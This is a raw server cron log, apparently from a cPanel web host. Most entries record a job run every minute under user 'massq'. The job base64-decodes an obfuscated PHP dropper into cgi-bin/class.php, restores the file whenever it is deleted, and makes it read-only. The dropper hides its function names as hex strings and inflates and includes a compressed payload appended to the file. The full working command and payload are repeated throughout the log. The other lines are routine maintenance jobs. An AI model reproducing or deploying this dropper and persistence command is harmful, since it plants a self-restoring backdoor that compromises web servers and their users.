Nov  9 07:23:01 server CROND[731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:24:01 server CROND[1563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:25:01 server CROND[2474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:25:01 server CROND[2478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:25:01 server CROND[2480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:26:01 server CROND[3374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:27:01 server CROND[4035]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 07:27:01 server CROND[4036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:28:01 server CROND[4867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:29:01 server CROND[5687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:30:01 server CROND[6524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 07:30:01 server CROND[6528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:30:01 server CROND[6529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:30:01 server CROND[6527]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:31:01 server CROND[7410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:32:01 server CROND[8338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:33:02 server CROND[9310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:34:01 server CROND[10119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:35:01 server CROND[10504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 07:35:01 server CROND[10506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 07:35:01 server CROND[10507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 07:35:01 server CROND[10510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 07:35:01 server CROND[10508]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
